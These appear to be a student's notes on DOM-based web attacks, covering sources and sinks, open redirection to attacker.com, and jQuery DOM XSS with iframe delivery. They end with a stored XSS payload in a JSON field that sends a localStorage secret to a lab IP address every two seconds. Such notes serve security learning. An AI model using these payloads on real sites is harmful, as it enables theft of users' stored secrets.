DOM-Based Attacks intro#

The Blind server-side#

  • While there are many different DOM-based attacks, all of them can be summarised by insufficiently validating and sanitising user input before using it in javascript, which will alter the DOM. In modern web application, developers will implement functions that alter the DOM without making any new requestss to weg server or API. For example:
    • A user clicks a tab in the navigation pane, As the data on this tab has already been loaded through API requests, the user navigaed to new tab by altering the DOM to set which tab is visible.
    • A user filters results shown in the table. As all results have already been loaded, through javascript the existing dataset is reduced and reloaded into the DOM to be displayed to the user.

The source and the sink#

  • As mentioned before, all DOM-based attacks start with untrusted user input making its way to javascript that modifies the DOM.
  • To simplify the detection of these issues, we refer to them as sources and sinks. A source is the location where untrusted data is provided by user to javascript function, and the sink is the location where the data is used in the javascript to update the DOM.
  • If there is no sanitisation or validation performed on data between the source and sink, it can lead to DOM-based attack.

DOM-based Open Redirection#

  • Let’s say that frontend developers are using information from the # value to determine the location of navigation for the webapplication. This can lead to a DOM-based open redirect. lets have a look at an example:
goto =   location.hash.slice(1) if (goto.startwith('https:')) { location = goto }
  • The source in this case is the location.hash.slice(1) parameter which will take first # element in the URL. without sanitisation, this value is directly set in the location of the DOM, which is the sink. We can construct the URL like https://realwebsite.com/#https://attacker.com to exploit this issue.
  • Once the DOM loads, the js will recover the # value of above URL and set it as the location of the DOM, which will redirect the user to the attacker’s website.

DOM Based XSS#

  • It allows attackers to inject js code in the DOM and take full control of the browser.
  • The most common source of this attack is the URL, and more specifically, URL fragments, which are passed through window.location source. This is because we have the ability to craft a link with malicious fragments to send to users.
  • In most of cases, fragments are not interpreted by the web server but reflected in the response, leading to DOM-based XSS.
  • However, it should be noted that most modern browsers will perform URL encoding on the data, which can prevent the attack. This has lead to a decrease in the prevalence of these types of attack through URL as source.

DOM-based XSS via JQuery#

  • Continuing with our web page location example, lets take the following jquery example to navigate the page to last viewed location.
$(window).on('hashchange', function() {
    var element = $(location.hash);
    element[0].scrollIntoView();
});
  • Since the has value is a source that we have access to, we can inject an XSS payload into Jquery’s $() selector link.
  • For example, if we were able to set URL as follows https://realwebsite.com#<img src=1 onerror=alert(1)></img>
  • However, this would only allow us to XSS ourselves. To perform XSS on other users, we need to find a way to trigger the hashchange function automatically. The simplest option would be to leverage an iFrame to deliver our payload: <iframe src="https://realwebsite.com#" on load="this.src+='<img src=1 onerror=alert(1)>'"></iframe>
  • Once the website is loaded, the src value is updated to now include our XSS payload, triggering the hashchange fuction and , thus, our XSS payload.

XSS Weaponisation#

  • To weaponise DOM baseed XSS, we need to rely on the two conventional delivery methods of XSS payloads, namely storage and reflection. This is why DOM-based XSS, and other DOM-based attacks, are so hard to exploit. Without proper delivery method, you are performing the attack on yourself, and not a target.
  • To counter this, we either need the webserver to store our payload for later delivery or to deliver the paylaod through reflection. At this point, our DOM-based XSS becomes a stored or reflected XSS attack.

Nexts steps:#

{"person":"<img src='x' onerror=\"setInterval( function() { fetch('http://192.168.128.100:4444/?secret=' + encodeURIComponent(localStorage.getItem('secret')), { method: 'GET', credentials: 'include' }).then(response => {}); }, 2000);\">",
"bdate":"19 August",
"gift":true
}